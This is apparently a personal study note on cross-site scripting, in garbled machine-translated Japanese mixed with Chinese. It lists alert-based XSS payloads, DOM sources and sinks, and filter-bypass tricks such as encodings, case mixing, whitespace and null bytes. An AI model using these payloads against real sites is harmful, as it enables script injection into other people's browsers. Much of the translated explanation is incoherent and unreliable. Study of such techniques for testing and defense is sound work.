XSS
非永続的なXSS攻撃のタイプ:非耐久性のXSS攻撃は影響のみページへのアクセス時間を持つように、1回限りです。非永続型XSS攻撃は、攻撃者は、ユーザーがリンクにアクセスすると、攻撃の目的を達成するために、ユーザーのブラウザに実行された攻撃スクリプトに移植され、改ざんされた後のリンクにアクセスするには、ユーザーが必要です。
耐久性に優れたXSS攻撃:耐久性のあるXSSは、攻撃者のデータは、攻撃が常に存在してきた攻撃データが添付され、サーバ側に保存されます。
反射型、ストレージタイプ、DOMタイプ
一般的なテストコード:
onmouseover="alert(xss);"
<script>alert(xss);</script>
<a href="javascript:alert(xss);">xss</a>
<img onerror="alert(xss);" src=>
主な原則:クローズタグ、構造悪意のあるコード
ユーザーを入力し、検索ボックスコメント地区として、構築することができ、登録された名前、連絡先情報、および隠し属性の入力がある場合が多いページ、次を使用して、隠し属性悪いクリックを、それをキャプチャげっぷを直接変更します別のショートカットの方法が異なるブラウザのコードを達成するために、そして他のショートカットと競合する可能性があります
accesskey="X" onclick="alert(xss)"
DOM XSSは、ページのDOMツリー解析ブラウザを変更することで、悪意のあるコードは、ソースコードのエコー内のページに戻りません。
ジャンプ、使用LOCATION.HREF、location.replace()、location.assign()によるJSページジャンプは、あなたはjavascriptの擬似プロトコルJSでスクリプトを実行することができます
DOM XSSエントリポイント
Location |
現在のページのURLアドレス |
window.name |
現在のページタブ名が、それは他のサイトにジャンプした後、このページはwindow.name割り当てであることを意味し、別のウェブサイトを、割り当てられ、window.nameの値は変わりません |
document.title |
現在のページのタイトルで、次のように入力し、検索ボックスにそれを制御することができます |
document.referer |
以上訪問したページのURLを表し示し起源、 |
postMessage |
HTML5は、クロスドメインのメカニズムですが、開発者は多くの場合、正しいソースが検出されていない、それはDOM XSSにつながります |
location |
これは通常の方法JS URIの実行にJSのジャンプを引き起こしています |
eval |
JS JSは、組み込み動的アクチュエータであります |
innerHTML |
ページ要素に割り当てることができます |
document.write |
出力することができ、ページフロー |
Function |
関数生成機能は、JSコードを動的に渡すことができることで |
setTimeout |
JSコードが実行を遅らせます |
setInterval |
これは、JSコードのサイクリック実行を表し、 |
XSSのバイパスコーディング
時には、入力文字をフィルタリングサイト、あなたはコーディングによってバイパスすることができ
原則:%がトランスコードされ、他のURLエンコードする際、URL要求、ブラウザがページデータを受信した後、HTMLエンティティのエンコーディングを持っていますトランスコーディング、トランスコーディングはJSUnicodeとJS JSの方法の実施のためのその他のサポートされます。
url编码 %+16进制数字 https://www.w3school.com.cn/tags/html_ref_urlencode.html
url base64编码 data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk7PC9zY3JpcHQ+
html编码 '&' + '约定名称' + ';' 的形式,其实还有 '&#' + '十进制数字' + ';' 和 '&#x' + '十六进制数字' + ';' 十进制和十六进制后面的;可以省略
JS Unicode 编码
规则是 '\u' + '四位十六进制数字'
jsfuck https://www.bugku.com/tools/jsfuck/
在script标签钟插入一个空格或者是tab
<script >alert(1)</script>
<script >alert(1)</script>
也可以对tab,换行,回车进行编码来绕过
<script	>alert(1)</script>
<script
>alert(1)</script>
<script
>alert(1)</script>
对标签进行大小写
<ScRipT>alert(1)</sCriPt>
插入null字节,在xss payload的任何地方插入null字节,有时候可以绕过filter
<%00script>alert(1)</script>
<script>al%00ert(1)</script>
引用符をバックアップするために使用することができる支持体10のバージョン属性よりHTMLはすなわち以下 `)(それによってはhtmlspecialcharsをバイパスし、二重引用符を閉じ